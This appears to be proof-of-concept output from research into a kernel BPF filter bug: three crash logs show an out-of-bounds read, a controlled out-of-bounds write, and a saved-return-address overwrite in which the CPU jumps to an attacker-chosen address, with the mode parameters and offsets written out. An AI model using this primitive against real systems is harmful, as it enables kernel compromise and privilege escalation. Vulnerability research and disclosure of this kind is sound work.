================================================================
 run 1 — mode=empty (zero-length program; kernel walks zeroed heap
          as endless BPF_LD|BPF_IMM until unmapped page)
================================================================
Fatal trap 12: page fault while in kernel mode
cpuid = 3; lapic id = 3
fault virtual address	= 0xfffff8056378800c
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff8072ac60
stack pointer	        = 0x10:0xfffff8008d2676c0
frame pointer	        = 0x10:0xfffff8008d267730
current process		= Idle
kernel: type 12 trap, code=0
Stopped at      bpf_filter+0x50:        movzwl  0x8(%rdi),%r8d
db>

================================================================
 run 2 — mode=store 0xcafebabe 0x08000000  (mem[0x08000000] = 0xcafebabe,
          i.e. u32 write at rbp-0x60 + 512MB — controlled offset)
================================================================
panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
cpuid = 5
vm_object_hold_shared() at vm_object_hold_shared+0x3f
vm_fault() at vm_fault+0x408
trap_pfault() at trap_pfault+0x9a
trap() at trap+0x17c
calltrap() at calltrap+0x9
--- trap 000000000000000c, rip = ffffffff8072b0e3, rsp = fffff8008d271780, rbp = fffff8008d271800 ---
bpf_filter() at bpf_filter+0x4d3 0xffffffff8072b0e3
Debugger("panic")
Stopped at      Debugger+0x7c
(rip ffffffff8072b0e3 == the OOB store  mov %eax,-0x60(%rbp,%rdx,4)  at bpf_filter+0x4d3)

================================================================
 run 3 — mode=riptake 0x42424343 0x00004141  (BPF_ST k=26/27 overwrite
          bpf_filter's saved return address with 0x0000414142424343)
================================================================
FStopped at      0x414142424343: kernel: type 12 trap, code=0
db>
(CPU jumped EXACTLY to the attacker-supplied 64-bit return address)